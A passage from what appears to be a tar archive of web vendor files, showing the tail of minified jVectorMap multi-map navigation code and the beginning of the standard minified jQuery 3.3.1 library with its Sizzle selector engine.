currentMap=this.history[this.history.length-1],that=this,focusPromise=currentMap.setFocus({region:code,animate:!0}),downloadPromise=this.downloadMap(code);focusPromise.then(function(){"pending"===downloadPromise.state()&&that.spinner.show()}),downloadPromise.always(function(){that.spinner.hide()}),this.drillDownPromise=jvm.$.when(downloadPromise,focusPromise),this.drillDownPromise.then(function(){currentMap.params.container.hide(),that.maps[name]?that.maps[name].params.container.show():that.addMap(name,{map:name,multiMapLevel:currentMap.params.multiMapLevel+1}),that.history.push(that.maps[name]),that.backButton.show()})},goBack:function(){var currentMap=this.history.pop(),prevMap=this.history[this.history.length-1],that=this;currentMap.setFocus({scale:1,x:.5,y:.5,animate:!0}).then(function(){currentMap.params.container.hide(),prevMap.params.container.show(),prevMap.updateSize(),1===that.history.length&&that.backButton.hide(),prevMap.setFocus({scale:1,x:.5,y:.5,animate:!0})})}},jvm.MultiMap.defaultParams={mapNameByCode:function(code,multiMap){return code.toLowerCase()+"_"+multiMap.defaultProjection+"_en"},mapUrlByCode:function(code,multiMap){return"jquery-jvectormap-data-"+code.toLowerCase()+"-"+multiMap.defaultProjection+"-en.js"}};vendor/jquery-3.3.1.min.js000064400000251621151677214220011156 0ustar00/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */ !function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(e,t){"use strict";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return"function"==typeof t&&"number"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement("script");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?l[c.call(e)]||"object":typeof e}var b="3.3.1",w=function(e,t){return new w.fn.init(e,t)},T=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g;w.fn=w.prototype={jquery:"3.3.1",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:s,sort:n.sort,splice:n.splice},w.extend=w.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments[s]||{},s++),"object"==typeof a||g(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)n=a[t],a!==(r=e[t])&&(l&&r&&(w.isPlainObject(r)||(i=Array.isArray(r)))?(i?(i=!1,o=n&&Array.isArray(n)?n:[]):o=n&&w.isPlainObject(n)?n:{},a[t]=w.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},w.extend({expando:"jQuery"+("3.3.1"+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||"[object Object]"!==c.call(e))&&(!(t=i(e))||"function"==typeof(n=f.call(t,"constructor")&&t.constructor)&&p.call(n)===d)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e){m(e)},each:function(e,t){var n,r=0;if(C(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},trim:function(e){return null==e?"":(e+"").replace(T,"")},makeArray:function(e,t){var n=t||[];return null!=e&&(C(Object(e))?w.merge(n,"string"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:u.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r,i=[],o=0,a=e.length,s=!n;o<a;o++)(r=!t(e[o],o))!==s&&i.push(e[o]);return i},map:function(e,t,n){var r,i,o=0,s=[];if(C(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&s.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&s.push(i);return a.apply([],s)},guid:1,support:h}),"function"==typeof Symbol&&(w.fn[Symbol.iterator]=n[Symbol.iterator]),w.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){l["[object "+t+"]"]=t.toLowerCase()});function C(e){var t=!!e&&"length"in e&&e.length,n=x(e);return!g(e)&&!y(e)&&("array"===n||0===t||"number"==typeof t&&t>0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b="sizzle"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},P="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",M="[\\x20\\t\\r\\n\\f]",R="(?:\\\\.|[\\w-]|[^\0-\\xa0])+",I="\\["+M+"*("+R+")(?:"+M+"*([*^$|!~]?=)"+M+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+R+"))|)"+M+"*\\]",W=":("+R+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+I+")*)|.*)\\)|)",$=new RegExp(M+"+","g"),B=new RegExp("^"+M+"+|((?:^|[^\\\\])(?:\\\\.)*)"+M+"+$","g"),F=new RegExp("^"+M+"*,"+M+"*"),_=new RegExp("^"+M+"*([>+~]|"+M+")"+M+"*"),z=new RegExp("="+M+"*([^\\]'\"]*?)"+M+"*\\]","g"),X=new RegExp(W),U=new RegExp("^"+R+"$"),V={ID:new RegExp("^#("+R+")"),CLASS:new RegExp("^\\.("+R+")"),TAG:new RegExp("^("+R+"|[*])"),ATTR:new RegExp("^"+I),PSEUDO:new RegExp("^"+W),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+M+"*(even|odd|(([+-]|)(\\d*)n|)"+M+"*(?:([+-]|)"+M+"*(\\d+)|))"+M+"*\\)|)","i"),bool:new RegExp("^(?:"+P+")$","i"),needsContext:new RegExp("^"+M+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+M+"*((?:-\\d)?\\d*)"+M+"*\\)|)(?=[^-]|$)","i")},G=/^(?:input|select|textarea|button)$/i,Y=/^h\d$/i,Q=/^[^{]+\{\s*\[native \w/,J=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,K=/[+~]/,Z=new RegExp("\\\\([\\da-f]{1,6}"+M+"?|("+M+")|.)","ig"),ee=function(e,t,n){var r="0x"+t-65536;return r!==r||n?t:r<0?String.fromCharCode(r+65536):String.fromCharCode(r>>10|55296,1023&r|56320)},te=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ne=function(e,t){return t?"\0"===e?"\ufffd":e.slice(0,-1)+"\\"+e.charCodeAt(e.length-1).toString(16)+" ":"\\"+e},re=function(){p()},ie=me(function(e){return!0===e.disabled&&("form"in e||"label"in e)},{dir:"parentNode",next:"legend"});try{L.apply(A=H.call(w.childNodes),w.childNodes),A[w.childNodes.length].nodeType}catch(e){L={apply:A.length?function(e,t){q.apply(e,H.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function oe(e,t,r,i){var o,s,l,c,f,h,v,m=t&&t.ownerDocument,T=t?t.nodeType:9;if(r=r||[],"string"!=typeof e||!e||1!==T&&9!==T&&11!==T)return r;if(!i&&((t?t.ownerDocument||t:w)!==d&&p(t),t=t||d,g)){if(11!==T&&(f=J.exec(e)))if(o=f[1]){if(9===T){if(!(l=t.getElementById(o)))return r;if(l.id===o)return r.push(l),r}else if(m&&(l=m.getElementById(o))&&x(t,l)&&l.id===o)return r.push(l),r}else{if(f[2])return L.apply(r,t.getElementsByTagName(e)),r;if((o=f[3])&&n.getElementsByClassName&&t.getElementsByClassName)return L.apply(r,t.getElementsByClassName(o)),r}if(n.qsa&&!S[e+" "]&&(!y||!y.test(e))){if(1!==T)m=t,v=e;else if("object"!==t.nodeName.toLowerCase()){(c=t.getAttribute("id"))?c=c.replace(te,ne):t.setAttribute("id",c=b),s=(h=a(e)).length;while(s--)h[s]="#"+c+" "+ve(h[s]);v=h.join(","),m=K.test(e)&&ge(t.parentNode)||t}if(v)try{return L.apply(r,m.querySelectorAll(v)),r}catch(e){}finally{c===b&&t.removeAttribute("id")}}}return u(e.replace(B,"$1"),t,r,i)}function ae(){var e=[];function t(n,i){return e.push(n+" ")>r.cacheLength&&delete t[e.shift()],t[n+" "]=i}return t}function se(e){return e[b]=!0,e}function ue(e){var t=d.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function le(e,t){var n=e.split("|"),i=n.length;while(i--)r.attrHandle[n[i]]=t}function ce(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1}function fe(e){return function(t){return"input"===t.nodeName.toLowerCase()&&t.type===e}}function pe(e){return function(t){var n=t.nodeName.toLowerCase();return("input"===n||"button"===n)&&t.type===e}}function de(e){return function(t){return"form"in t?t.parentNode&&!1===t.disabled?"label"in t?"label"in t.parentNode?t.parentNode.disabled===e:t.disabled===e:t.isDisabled===e||t.isDisabled!==!e&&ie(t)===e:t.disabled===e:"label"in t&&t.disabled===e}}function he(e){return se(function(t){return t=+t,se(function(n,r){var i,o=e([],n.length,t),a=o.length;while(a--)n[i=o[a]]&&(n[i]=!(r[i]=n[i]))})})}function ge(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}n=oe.support={},o=oe.isXML=function(e){var t=e&&(e.ownerDocument||e).documentElement;return!!t&&"HTML"!==t.nodeName},p=oe.setDocument=function(e){var t,i,a=e?e.ownerDocument||e:w;return a!==d&&9===a.nodeType&&a.documentElement?(d=a,h=d.documentElement,g=!o(d),w!==d&&(i=d.defaultView)&&i.top!==i&&(i.addEventListener?i.addEventListener("unload",re,!1):i.attachEvent&&i.attachEvent("onunload",re)),n.attributes=ue(function(e){return e.className="i",!e.getAttribute("className")}),n.getElementsByTagName=ue(function(e){return e.appendChild(d.createComment("")),!e.getElementsByTagName("*").length}),n.getElementsByClassName=Q.test(d.getElementsByClassName),n.getById=ue(function(e){return h.appendChild(e).id=b,!d.getElementsByName||!d.getElementsByName(b).length}),n.getById?(r.filter.ID=function(e){var t=e.replace(Z,ee);return function(e){return e.getAttribute("id")===t}},r.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&g){var n=t.getElementById(e);return n?[n]:[]}}):(r.filter.ID=function(e){var t=e.replace(Z,ee);return function(e){var n="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return n&&n.value===t}},r.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&g){var n,r,i,o=t.getElementById(e);if(o){if((n=o.getAttributeNode("id"))&&n.value===e)return[o];i=t.getElementsByName(e),r=0;while(o=i[r++])if((n=o.getAttributeNode("id"))&&n.value===e)return[o]}return[]}}),r.find.TAG=n.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):n.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){while(n=o[i++])1===n.nodeType&&r.push(n);return r}return o},r.find.CLASS=n.getElementsByClassName&&function(e,t){if("undefined"!=typeof t.getElementsByClassName&&g)return t.getElementsByClassName(e)},v=[],y=[],(n.qsa=Q.test(d.querySelectorAll))&&(ue(function(e){h.appendChild(e).innerHTML="<a id='"+b+"'></a><select id='"+b+"-\r\\' msallowcapture=''><option selected=''></option></select>",e.querySelectorAll("[msallowcapture^='']").length&&y.push("[*^$]="+M+"*(?:''|\"\")"),e.querySelectorAll("[selected]").length||y.push("\\["+M+"*(?:value|"+P+")"),e.querySelectorAll("[id~="+b+"-]").length||y.push("~="),e.querySelectorAll(":checked").length||y.push(":checked"),e.querySelectorAll("a#"+b+"+*").length||y.push(".#.+[+~]")}),ue(function(e){e.innerHTML="<a href='' disabled='disabled'></a><select disabled='disabled'><option/></select>";var t=d.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&y.push("name"+M+"*[*^$|!~]?="),2!==e.querySelectorAll(":enabled").length&&y.push(":enabled",":disabled"),h.appendChild(e).disabled=!0,2!==e.querySelectorAll(":disabled").length&&y.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),y.push(",.*:")})),(n.matchesSelector=Q.test(m=h.matches||h.webkitMatchesSelector||h.mozMatchesSelector||h.oMatchesSelector||h.msMatchesSelector))&&ue(function(e){n.disconnectedMatch=m.call(e,"*"),m.call(e,"[s!='']:x"),v.push("!=",W)}),y=y.length&&new RegExp(y.join("|")),v=v.length&&new RegExp(v.join("|")),t=Q.test(h.compareDocumentPosition),x=t||Q.test(h.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)while(t=t.parentNode)if(t===e)return!0;return!1},D=t?function(e,t){if(e===t)return f=!0,0;var r=!e.compareDocumentPosition-!t.compareDocumentPosition;return r||(1&(r=(e.ownerDocument||e)===(t.ownerDocument||t)?e.compareDocumentPosition(t):1)||!n.sortDetached&&t.compareDocumentPosition(e)===r?e===d||e.ownerDocument===w&&x(w,e)?-1:t===d||t.ownerDocument===w&&x(w,t)?1:c?O(c,e)-O(c,t):0:4&r?-1:1)}:function(e,t){if(e===t)return f=!0,0;var n,r=0,i=e.parentNode,o=t.parentNode,a=[e],s=[t];if(!i||!o)return e===d?-1:t===d?1:i?-1:o?1:c?O(c,e)-O(c,t):0;if(i===o)return ce(e,t);n=e;while(n=n.parentNode)a.unshift(n);n=t;while(n=n.parentNode)s.unshift(n);while(a[r]===s[r])r++;return r?ce(a[r],s[r]):a[r]===w?-1:s[r]===w?1:0},d):d},oe.matches=function(e,t){return oe(e,null,null,t)},oe.matchesSelector=function(e,t){if((e.ownerDocument||e)!==d&&p(e),t=t.replace(z,"='$1']"),n.matchesSelector&&g&&!S[t+" "]&&(!v||!v.test(t))&&(!y||!y.test(t)))try{var r=m.call(e,t);if(r||n.disconnectedMatch||e.document&&11!==e.document.nodeType)return r}catch(e){}return oe(t,d,null,[e]).length>0},oe.contains=function(e,t){return(e.ownerDocument||e)!==d&&p(e),x(e,t)},oe.attr=function(e,t){(e.ownerDocument||e)!==d&&p(e);var i=r.attrHandle[t.toLowerCase()],o=i&&N.call(r.attrHandle,t.toLowerCase())?i(e,t,!g):void 0;return void 0!==o?o:n.attributes||!g?e.getAttribute(t):(o=e.getAttributeNode(t))&&o.specified?o.value:null},oe.escape=function(e){return(e+"").replace(te,ne)},oe.error=function(e){throw new Error("Syntax error, unrecognized expression: "+e)},oe.uniqueSort=function(e){var t,r=[],i=0,o=0;if(f=!n.detectDuplicates,c=!n.sortStable&&e.slice(0),e.sort(D),f){while(t=e[o++])t===e[o]&&(i=r.push(o));while(i--)e.splice(r[i],1)}return c=null,e},i=oe.getText=function(e){var t,n="",r=0,o=e.nodeType;if(o){if(1===o||9===o||11===o){if("string"==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=i(e)}else if(3===o||4===o)return e.nodeValue}else while(t=e[r++])n+=i(t);return n},(r=oe.selectors={cacheLength:50,createPseudo:se,match:V,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(Z,ee),e[3]=(e[3]||e[4]||e[5]||"").replace(Z,ee),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||oe.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&oe.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return V.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&&X.test(n)&&(t=a(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(Z,ee).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=E[e+" "];return t||(t=new RegExp("(^|"+M+")"+e+"("+M+"|$)"))&&E(e,function(e){return t.test("string"==typeof e.className&&e.className||"undefined"!=typeof e.getAttribute&&e.getAttribute("class")||"")})},ATTR:function(e,t,n){return function(r){var i=oe.attr(r,e);return null==i?"!="===t:!t||(i+="","="===t?i===n:"!="===t?i!==n:"^="===t?n&&0===i.indexOf(n):"*="===t?n&&i.indexOf(n)>-1:"$="===t?n&&i.slice(-n.length)===n:"~="===t?(" "+i.replace($," ")+" ").indexOf(n)>-1:"|="===t&&(i===n||i.slice(0,n.length+1)===n+"-"))}},CHILD:function(e,t,n,r,i){var o="nth"!==e.slice(0,3),a="last"!==e.slice(-4),s="of-type"===t;return 1===r&&0===i?function(e){return!!e.parentNode}:function(t,n,u){var l,c,f,p,d,h,g=o!==a?"nextSibling":"previousSibling",y=t.parentNode,v=s&&t.nodeName.toLowerCase(),m=!u&&!s,x=!1;if(y){if(o){while(g){p=t;while(p=p[g])if(s?p.nodeName.toLowerCase()===v:1===p.nodeType)return!1;h=g="only"===e&&!h&&"nextSibling"}return!0}if(h=[a?y.firstChild:y.lastChild],a&&m){x=(d=(l=(c=(f=(p=y)[b]||(p[b]={}))[p.uniqueID]||(f[p.uniqueID]={}))[e]||[])[0]===T&&l[1])&&l[2],p=d&&y.childNodes[d];while(p=++d&&p&&p[g]||(x=d=0)||h.pop())if(1===p.nodeType&&++x&&p===t){c[e]=[T,d,x];break}}else if(m&&(x=d=(l=(c=(f=(p=t)[b]||(p[b]={}))[p.uniqueID]||(f[p.uniqueID]={}))[e]||[])[0]===T&&l[1]),!1===x)while(p=++d&&p&&p[g]||(x=d=0)||h.pop())if((s?p.nodeName.toLowerCase()===v:1===p.nodeType)&&++x&&(m&&((c=(f=p[b]||(p[b]={}))[p.uniqueID]||(f[p.uniqueID]={}))[e]=[T,x]),p===t))break;return(x-=i)===r||x%r==0&&x/r>=0}}},PSEUDO:function(e,t){var n,i=r.pseudos[e]||r.setFilters[e.toLowerCase()]||oe.error("unsupported pseudo: "+e);return i[b]?i(t):i.length>1?(n=[e,e,"",t],r.setFilters.hasOwnProperty(e.toLowerCase())?se(function(e,n){var r,o=i(e,t),a=o.length;while(a--)e[r=O(e,o[a])]=!(n[r]=o[a])}):function(e){return i(e,0,n)}):i}},pseudos:{not:se(function(e){var t=[],n=[],r=s(e.replace(B,"$1"));return r[b]?se(function(e,t,n,i){var o,a=r(e,null,i,[]),s=e.length;while(s--)(o=a[s])&&(e[s]=!(t[s]=o))}):function(e,i,o){return t[0]=e,r(t,null,o,n),t[0]=null,!n.pop()}}),has:se(function(e){return function(t){return oe(e,t).length>0}}),contains:se(function(e){return e=e.replace(Z,ee),function(t){return(t.textContent||t.innerText||i(t)).indexOf(e)>-1}}),lang:se(function(e){return U.test(e||"")||oe.error("unsupported lang: "+e),e=e.replace(Z,ee).toLowerCase(),function(t){var n;do{if(n=g?t.lang:t.getAttribute("xml:lang")||t.getAttribute("lang"))return(n=n.toLowerCase())===e||0===n.indexOf(e+"-")}while((t=t.parentNode)&&1===t.nodeType);return!1}}),target:function(t){var n=e.location&&e.location.hash;return n&&n.slice(1)===t.id},root:function(e){return e===h},focus:function(e){return e===d.activeElement&&(!d.hasFocus||d.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:de(!1),disabled:de(!0),checked:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&!!e.checked||"option"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,!0===e.selected},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeType<6)return!1;return!0},parent:function(e){return!r.pseudos.empty(e)},header:function(e){return Y.test(e.nodeName)},input:function(e){return G.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&"button"===e.type||"button"===t},text:function(e){var t;return"input"===e.nodeName.toLowerCase()&&"text"===e.type&&(null==(t=e.getAttribute("type"))||"text"===t.toLowerCase())},first:he(function(){return[0]}),last:he(function(e,t){return[t-1]}),eq:he(function(e,t,n){return[n<0?n+t:n]}),even:he(function(e,t){for(var n=0;n<t;n+=2)e.push(n);return e}),odd:he(function(e,t){for(var n=1;n<t;n+=2)e.push(n);return e}),lt:he(function(e,t,n){for(var r=n<0?n+t:n;--r>=0;)e.push(r);return e}),gt:he(function(e,t,n){for(var r=n<0?n+t:n;++r<t;)e.push(r);return e})}}).pseudos.nth=r.pseudos.eq;for(t in{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})r.pseudos[t]=fe(t);for(t in{submit:!0,reset:!0})r.pseudos[t]=pe(t);function ye(){}ye.prototype=r.filters=r.pseudos,r.setFilters=new ye,a=oe.tokenize=function(e,t){var n,i,o,a,s,u,l,c=k[e+" "];if(c)return t?0:c.slice(0);s=e,u=[],l=r.preFilter;while(s){n&&!(i=F.exec(s))||(i&&(s=s.slice(i[0].length)||s),u.push(o=[])),n=!1,(i=_.exec(s))&&(n=i.shift(),o.push({value:n,type:i[0].replace(B," ")}),s=s.slice(n.length));for(a in r.filter)!(i=V[a].exec(s))||l[a]&&!(i=l[a](i))||(n=i.shift(),o.push({value:n,type:a,matches:i}),s=s.slice(n.length));if(!n)break}return t?s.length:s?oe.error(e):k(e,u).slice(0)};function ve(e){for(var t=0,n=e.length,r="";t<n;t++)r+=e[t].value;return r}function me(e,t,n){var r=t.dir,i=t.next,o=i||r,a=n&&"parentNode"===o,s=C++;return t.first?function(t,n,i){while(t=t[r])if(1===t.nodeType||a)return e(t,n,i);return!1}:function(t,n,u){var l,c,f,p=[T,s];if(u){while(t=t[r])if((1===t.nodeType||a)&&e(t,n,u))return!0}else while(t=t[r])if(1===t.nodeType||a)if(f=t[b]||(t[b]={}),c=f[t.uniqueID]||(f[t.uniqueID]={}),i&&i===t.nodeName.toLowerCase())t=t[r]||t;else{if((l=c[o])&&l[0]===T&&l[1]===s)return p[2]=l[2];if(c[o]=p,p[2]=e(t,n,u))return!0}return!1}}function xe(e){return e.length>1?function(t,n,r){var i=e.length;while(i--)if(!e[i](t,n,r))return!1;return!0}:e[0]}function be(e,t,n){for(var r=0,i=t.length;r<i;r++)oe(e,t[r],n);return n}function we(e,t,n,r,i){for(var o,a=[],s=0,u=e.length,l=null!=t;s<u;s++)(o=e[s])&&(n&&!n(o,r,i)||(a.push(o),l&&t.push(s)));return a}function Te(e,t,n,r,i,o){return r&&!r[b]&&(r=Te(r)),i&&!i[b]&&(i=Te(i,o)),se(function(o,a,s,u){var l,c,f,p=[],d=[],h=a.length,g=o||be(t||"*",s.nodeType?[s]:s,[]),y=!e||!o&&t?g:we(g,p,e,s,u),v=n?i||(o?e:h||r)?[]:a:y;if(n&&n(y,v,s,u),r){l=we(v,d),r(l,[],s,u),c=l.length;while(c--)(f=l[c])&&(v[d[c]]=!(y[d[c]]=f))}if(o){if(i||e){if(i){l=[],c=v.length;while(c--)(f=v[c])&&l.push(y[c]=f);i(null,v=[],l,u)}c=v.length;while(c--)(f=v[c])&&(l=i?O(o,f):p[c])>-1&&(o[l]=!(a[l]=f))}}else v=we(v===a?v.splice(h,v.length):v),i?i(null,a,v,u):L.apply(a,v)})}function Ce(e){for(var t,n,i,o=e.length,a=r.relative[e[0].type],s=a||r.relative[" "],u=a?1:0,c=me(function(e){return e===t},s,!0),f=me(function(e){return O(t,e)>-1},s,!0),p=[function(e,n,r){var i=!a&&(r||n!==l)||((t=n).nodeType?c(e,n,r):f(e,n,r));return t=null,i}];u<o;u++)if(n=r.relative[e[u].type])p=[me(xe(p),n)];else{if((n=r.filter[e[u].type].apply(null,e[u].matches))[b]){for(i=++u;i<o;i++)if(r.relative[e[i].type])break;return Te(u>1&&xe(p),u>1&&ve(e.slice(0,u-1).concat({value:" "===e[u-2].type?"*":""})).replace(B,"$1"),n,u<i&&Ce(e.slice(u,i)),i<o&&Ce(e=e.slice(i)),i<o&&ve(e))}p.push(n)}return xe(p)}function Ee(e,t){var n=t.length>0,i=e.length>0,o=function(o,a,s,u,c){var f,h,y,v=0,m="0",x=o&&[],b=[],w=l,C=o||i&&r.find.TAG("*",c),E=T+=null==w?1:Math.random()||.1,k=C.length;for(c&&(l=a===d||a||c);m!==k&&null!=(f=C[m]);m++){if(i&&f){h=0,a||f.ownerDocument===d||(p(f),s=!g);while(y=e[h++])if(y(f,a||d,s)){u.push(f);break}c&&(T=E)}n&&((f=!y&&f)&&v--,o&&x.push(f))}if(v+=m,n&&m!==v){h=0;while(y=t[h++])y(x,b,a,s);if(o){if(v>0)while(m--)x[m]||b[m]||(b[m]=j.call(u));b=we(b)}L.apply(u,b),c&&!o&&b.length>0&&v+t.length>1&&oe.uniqueSort(u)}return c&&(T=E,l=w),x};return n?se(o):o}return s=oe.compile=function(e,t){var n,r=[],i=[],o=S[e+" "];if(!o){t||(t=a(e)),n=t.length;while(n--)(o=Ce(t[n]))[b]?r.push(o):i.push(o);(o=S(e,Ee(i,r))).selector=e}return o},u=oe.select=function(e,t,n,i){var o,u,l,c,f,p="function"==typeof e&&e,d=!i&&a(e=p.selector||e);if(n=n||[],1===d.length){if((u=d[0]=d[0].slice(0)).length>2&&"ID"===(l=u[0]).type&&9===t.nodeType&&g&&r.relative[u[1].type]){if(!(t=(r.find.ID(l.matches[0].replace(Z,ee),t)||[])[0]))return n;p&&(t=t.parentNode),e=e.slice(u.shift().value.length)}o=V.needsContext.test(e)?0:u.length;while(o--){if(l=u[o],r.relative[c=l.type])break;if((f=r.find[c])&&(i=f(l.matches[0].replace(Z,ee),K.test(u[0].type)&&ge(t.parentNode)||t))){if(u.splice(o,1),!(e=i.length&&ve(u)))return L.apply(n,i),n;break}}}return(p||s(e,d))(i,t,!g,n,!t||K.test(e)&&ge(t.parentNode)||t),n},n.sortStable=b.split("").sort(D).join("")===b,n.detectDuplicates=!!f,p(),n.sortDetached=ue(function(e){return 1&e.compareDocumentPosition(d.createElement("fieldset"))}),ue(function(e){return e.innerHTML="<a href='#'></a>","#"===e.firstChild.getAttribute("href")})||le("type|href|height|width",function(e,t,n){if(!n)return e.getAttribute(t,"type"===t.toLowerCase()?1:2)}),n.attributes&&ue(function(e){return e.innerHTML="<input/>",e.firstChild.setAttribute("value",""),""===e.firstChild.getAttribute("value")})||le("value",function(e,t,n){if(!n&&"input"===e.nodeName.toLowerCase())return e.defaultValue}),ue(function(e){return null==e.getAttribute("disabled")})||le(P,function(e,t,n){var r;if(!n)return!0===e[t]?t.toLowerCase():(r=e.getAttributeNode(t))&&r.specified?r.value:null}),oe}(e);w.find=E,w.expr=E.selectors,w.expr[":"]=w.expr.pseudos,w.uniqueSort=w.unique=E.uniqueSort,w.text=E.getText,w.isXMLDoc=E.isXML,w.contains=E.contains,w.escapeSelector=E.escape;var k=function(e,t,n){var r=[],i=void 0!==n;while((e=e[t])&&9!==e.nodeType)if(1===e.nodeType){if(i&&w(e).is(n))break;r.push(e)}return r},S=function(e,t){for(var n=[];e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n},D=w.expr.match.needsContext;function N(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()}var A=/^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i;function j(e,t,n){return g(t)?w.grep(e,function(e,r){return!!t.call(e,r,e)!==n}):t.nodeType?w.grep(e,function(e){return e===t!==n}):"string"!=typeof t?w.grep(e,function(e){return u.call(t,e)>-1!==n}):w.filter(t,e,n)}w.filter=function(e,t,n){var r=t[0];return n&&(e=":not("+e+")"),1===t.length&&1===r.nodeType?w.find.matchesSelector(r,e)?[r]:[]:w.find.matches(e,w.grep(t,function(e){return 1===e.nodeType}))},w.fn.extend({find:function(e){var t,n,r=this.length,i=this;if("string"!=typeof e)return this.pushStack(w(e).filter(function(){for(t=0;t<r;t++)if(w.contains(i[t],this))return!0}));for(n=this.pushStack([]),t=0;t<r;t++)w.find(e,i[t],n);return 